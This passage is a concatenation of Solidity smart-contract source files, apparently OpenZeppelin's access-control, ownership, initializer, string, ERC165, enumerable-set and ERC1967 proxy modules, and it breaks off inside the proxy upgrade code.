modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../Proxy.sol"; import "./ERC1967Upgrade.sol"; /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. */ contract ERC1967Proxy is Proxy, ERC1967Upgrade { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _upgradeToAndCall(_logic, _data, false); } /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { return ERC1967Upgrade._getImplementation(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "../beacon/IBeacon.sol"; import "../../utils/Address.sol"; import "../../utils/StorageSlot.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967Upgrade { // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; Address.functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was 